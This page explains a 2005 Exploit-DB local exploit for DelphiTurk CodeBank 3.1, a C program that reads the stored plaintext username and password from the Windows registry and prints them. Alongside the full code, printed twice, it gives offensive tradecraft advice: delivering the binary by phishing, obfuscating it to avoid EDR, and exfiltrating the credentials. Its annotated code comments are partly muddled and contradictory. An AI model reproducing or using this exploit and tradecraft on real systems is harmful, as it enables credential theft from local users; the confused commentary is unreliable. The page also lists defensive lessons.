DelphiTurk CodeBank 3.1 Local Credential Disclosure Exploit Explained

DelphiTurk CodeBank 3.1 Local Credential Disclosure Exploit Explained
What this paper is
This paper details a local privilege escalation vulnerability in DelphiTurk CodeBank version 3.1 and earlier. The vulnerability allows a local user to read the stored username and password for the application directly from the Windows Registry. The provided C code demonstrates how to exploit this by querying specific registry keys.
Simple technical breakdown
The DelphiTurk CodeBank application, when installed, stores its user's login credentials (username and password) in the Windows Registry. This information is stored in plain text under a specific registry key. The exploit code simply accesses this registry key, reads the stored username and password values, and prints them to the console. It does not involve complex memory corruption or remote code execution; it's a straightforward information disclosure vulnerability.
Complete code and payload walkthrough
The provided C code is a simple Windows application designed to read credentials from the registry.
/*******************************************************************
DelphiTurk CodeBank Local Exploit
Application: DelphiTurk CodeBank 3.1 (and previous versions)
Procuder: Delphiturk.com
Vulnerable Description: Delhiturk CodeBank discloses username and password to
local users.
Coded by: Kozan
Web: www.netmagister.com
Mail: kozan[at]netmagister[dot]com
*******************************************************************/
#include <stdio.h>
#include <windows.h>
HKEY hKey; // Handle to a registry key
char username[BUFSIZE], password[BUFSIZE]; // Buffers to store username and password
DWORD dwBufLen=BUFSIZE; // Buffer length for registry queries
LONG lRet; // Return value for registry functions
#define BUFSIZE 100 // Defines the size of our buffers
int main(void)
{
// Attempt to open the specific registry key for DelphiTurk CodeBank
if(RegOpenKeyEx(HKEY_CURRENT_USER, // Root key: HKEY_CURRENT_USER (HKCU)
"Software\\DelphiTurk\\Codebank", // Subkey path
0, // Reserved, must be zero
KEY_QUERY_VALUE, // Access mask: we only need to query values
&hKey) == ERROR_SUCCESS) // If the key is successfully opened
{
// Query the 'username' value from the opened registry key
lRet = RegQueryValueEx( hKey, // Handle to an open key
"username", // Name of the value to query
NULL, // Reserved, must be NULL
NULL, // Pointer to a buffer that receives the value type (we don't need it)
(LPBYTE) username, // Pointer to the buffer that receives the value data
&dwBufLen); // Pointer to a variable that specifies the size of the buffer
// Check if the query was successful and if the data fits in our buffer
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey); // Close the registry key if an error occurred
printf("En error occured!"); // Print an error message
return 0; // Exit the program
}
// Reset dwBufLen for the password query, as it might have been modified by the previous call
// Note: The original code does NOT reset dwBufLen here. This is a potential issue if the username
// was larger than BUFSIZE but still reported as success by RegQueryValueEx (though unlikely with dwBufLen > BUFSIZE check).
// For this explanation, we assume dwBufLen is correctly handled or the username is within BUFSIZE.
// The original code uses the same dwBufLen, which is fine if the username was smaller than BUFSIZE.
// If the username was exactly BUFSIZE, dwBufLen would be BUFSIZE, and the password query would
// potentially overwrite the buffer if it's also BUFSIZE.
// However, the check `dwBufLen > BUFSIZE` handles cases where the data is too large.
// Query the 'password' value from the opened registry key
lRet = RegQueryValueEx( hKey, // Handle to an open key
"password", // Name of the value to query
NULL, // Reserved, must be NULL
NULL, // Pointer to a buffer that receives the value type (we don't need it)
(LPBYTE) password, // Pointer to the buffer that receives the value data
&dwBufLen); // Pointer to a variable that specifies the size of the buffer
// Check if the query was successful and if the data fits in our buffer
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey); // Close the registry key if an error occurred
printf("En error occured!"); // Print an error message
return 0; // Exit the program
}
RegCloseKey( hKey ); // Close the registry key now that we are done with it
printf("DelphiTurk CodeBank Local Exploit by Kozan\n\n"); // Print the exploit title
printf("Username: %s\n",username); // Print the retrieved username
printf("Password: %s\n",password); // Print the retrieved password
}
else{
// If RegOpenKeyEx failed, it means the registry key doesn't exist,
// implying the application is likely not installed.
printf("DelphiTurk Codebank is not installed on your system!");
}
return 0; // Indicate successful execution
}
// milw0rm.com [2005-02-08]Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>: Includes standard input/output functions likeprintf.#include <windows.h>: Includes Windows API functions, essential for registry operations.HKEY hKey;: Declares a variable to hold a handle to an open registry key. This handle is used in subsequent registry operations.char username[BUFSIZE], password[BUFSIZE];: Declares character arrays (buffers) to store the retrieved username and password.BUFSIZEis defined as 100.DWORD dwBufLen=BUFSIZE;: Declares a DWORD variable to hold the size of the buffer used for reading registry values. It's initialized toBUFSIZE. This variable is crucial asRegQueryValueExwill update it with the actual size of the data read.LONG lRet;: Declares a LONG variable to store the return status of Windows API functions, particularly registry functions.ERROR_SUCCESSindicates success.#define BUFSIZE 100: Defines a constant for the buffer size, making it easy to change if needed.int main(void): The entry point of the C program.RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\DelphiTurk\\Codebank", 0, KEY_QUERY_VALUE, &hKey): This is the core function to access the registry.HKEY_CURRENT_USER: Specifies that we are looking in the registry hive for the currently logged-in user."Software\\DelphiTurk\\Codebank": This is the specific path within the registry where the application is expected to store its configuration.0: Reserved parameter, must be 0.KEY_QUERY_VALUE: Specifies that we only need read access to query values within this key.&hKey: A pointer to a variable that will receive the handle to the opened registry key.== ERROR_SUCCESS: Checks if the key was opened successfully.
RegQueryValueEx(hKey, "username", NULL, NULL, (LPBYTE) username, &dwBufLen): This function reads a specific value from the opened registry key.hKey: The handle to the opened registry key."username": The name of the registry value to read.NULL, NULL: Reserved parameters that are not needed for this operation.(LPBYTE) username: A pointer to the buffer where the retrieved value data will be stored.&dwBufLen: A pointer to theDWORDvariable that holds the buffer size. After the call, it will contain the actual size of the data read.lRet != ERROR_SUCCESS: Checks if the value was successfully retrieved.dwBufLen > BUFSIZE: Checks if the retrieved data is larger than our buffer, which would indicate an overflow or truncation issue.
RegCloseKey(hKey): Closes the opened registry key handle, releasing system resources. This is good practice.printf("DelphiTurk CodeBank Local Exploit by Kozan\n\n");: Prints a header message.printf("Username: %s\n",username);: Prints the content of theusernamebuffer.printf("Password: %s\n",password);: Prints the content of thepasswordbuffer.else { printf("DelphiTurk Codebank is not installed on your system!"); }: This block executes ifRegOpenKeyExfails, indicating the target registry key was not found.
Shellcode/Payload Segments:
There is no traditional shellcode or multi-stage payload in this exploit. The "payload" is the C code itself, which, when compiled and executed on a vulnerable system, directly performs the action of reading credentials from the registry. The output of the program is the sensitive information.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target Windows machine is required. This is not a remote exploit.
- Lab Preconditions:
- A Windows machine with DelphiTurk CodeBank version 3.1 or earlier installed.
- A user account on that machine that has logged into CodeBank at least once, causing credentials to be stored in the registry.
- The target machine must have the Windows Registry accessible and writable/readable by the executing user.
- Tooling Assumptions:
- A C compiler (like MinGW or Microsoft Visual C++) to compile the provided
.csource code into an executable. - Standard Windows command-line utilities for execution.
- A C compiler (like MinGW or Microsoft Visual C++) to compile the provided
- Execution Pitfalls:
- Application Not Installed: The exploit will fail if DelphiTurk CodeBank is not installed or if the specific registry key
Software\DelphiTurk\Codebankdoes not exist. - Credentials Not Stored: If the user has never logged into CodeBank, or if the application is configured not to store credentials (unlikely for this type of application), the registry values might not exist, leading to an error.
- Buffer Overflow (Minor): While
dwBufLen > BUFSIZEcheck is present, ifRegQueryValueExreturnsERROR_SUCCESSbutdwBufLenis exactlyBUFSIZEand the data is null-terminated after the 100th byte, theusernameorpasswordbuffer might not be null-terminated correctly, leading to potential issues ifprintftries to read past the intended string. However, given the typical length of usernames and passwords, this is a low probability. - Registry Permissions: In very rare or highly secured environments, a local user might not have read permissions for
HKEY_CURRENT_USER\Software\DelphiTurk\Codebank.
- Application Not Installed: The exploit will fail if DelphiTurk CodeBank is not installed or if the specific registry key
- Tradecraft Considerations:
- Stealth: Executing a compiled C program on a target can be detected by endpoint detection and response (EDR) solutions. The act of reading the registry is generally less noisy than writing or deleting, but the executable itself needs to be delivered and run.
- Delivery: The compiled executable would need to be delivered to the target system, perhaps via phishing, social engineering, or dropped by a prior stage of compromise.
- Persistence: This exploit is a one-time information disclosure. For persistence, the retrieved credentials would need to be exfiltrated and potentially used to gain higher privileges or access other systems.
- Obfuscation: The C source code is plain. For a real operation, one might consider obfuscating the executable or using shellcode injection techniques to avoid static detection.
- Expected Telemetry:
- Process Execution: The creation and execution of the compiled C program (
.exe). - Registry Access: API calls to
RegOpenKeyExandRegQueryValueExtargetingHKCU\Software\DelphiTurk\Codebank. - Network Traffic (if exfiltrated): If the retrieved credentials are sent over the network, this would generate network telemetry.
- Process Execution: The creation and execution of the compiled C program (
Where this was used and when
This exploit was published in February 2005. At that time, it was relevant for systems running DelphiTurk CodeBank version 3.1 and earlier. Such applications were common for storing sensitive information like passwords, software keys, and notes locally. The vulnerability was likely exploited by attackers who had already gained local access to a machine and were looking for easy ways to escalate privileges or obtain credentials for other services.
Defensive lessons for modern teams
- Secure Credential Storage: Applications should never store sensitive credentials in plain text in the registry or configuration files. Use strong encryption, secure vaults, or platform-specific secure storage mechanisms (like Windows Credential Manager).
- Principle of Least Privilege: Users should not have excessive permissions on the registry. While
HKEY_CURRENT_USERis generally user-specific, ensuring that applications only have the necessary read/write access is crucial. - Application Hardening: Developers must be aware of common vulnerability classes like information disclosure. Thorough security testing and code reviews are essential.
- Endpoint Monitoring: Monitor for unusual registry access patterns, especially by unknown executables. EDR solutions can flag suspicious API calls.
- Regular Patching and Updates: While this specific application might be obsolete, the lesson applies to any software. Keeping applications updated ensures known vulnerabilities are patched.
- Configuration Management: Regularly audit system configurations and installed software to identify potentially vulnerable or outdated applications.
ASCII visual (if applicable)
This exploit is a direct interaction with the operating system's registry. A visual representation of the flow would be:
+-----------------+ +-----------------------+ +-----------------+
| Local User |----->| Compiled C Exploit |----->| Windows Registry|
| (Logged In) | | (e.g., codebank.exe) | | (HKCU) |
+-----------------+ +-----------------------+ +-----------------+
|
| Reads:
| - Software\DelphiTurk\Codebank
| - username
| - password
|
v
+---------------------+
| Console Output |
| (Username: ...) |
| (Password: ...) |
+---------------------+Source references
- Paper ID: 798
- Paper Title: DelphiTurk CodeBank 3.1 - Local Username and Password Disclosure
- Author: Kozan
- Published: 2005-02-08
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/798
- Raw URL: https://www.exploit-db.com/raw/798
Original Exploit-DB Content (Verbatim)
/*******************************************************************
DelphiTurk CodeBank Local Exploit
Application: DelphiTurk CodeBank 3.1 (and previous versions)
Procuder: Delphiturk.com
Vulnerable Description: Delhiturk CodeBank discloses username and password to
local users.
Coded by: Kozan
Web: www.netmagister.com
Mail: kozan[at]netmagister[dot]com
*******************************************************************/
#include <stdio.h>
#include <windows.h>
HKEY hKey;
char username[BUFSIZE], password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
#define BUFSIZE 100
int main(void)
{
if(RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\DelphiTurk\\Codebank",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "username", NULL, NULL,
(LPBYTE) username, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("En error occured!");
return 0;
}
lRet = RegQueryValueEx( hKey, "password", NULL, NULL,
(LPBYTE) password, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("En error occured!");
return 0;
}
RegCloseKey( hKey );
printf("DelphiTurk CodeBank Local Exploit by Kozan\n\n");
printf("Username: %s\n",username);
printf("Password: %s\n",password);
}
else{
printf("DelphiTurk Codebank is not installed on your system!");
}
return 0;
}
// milw0rm.com [2005-02-08]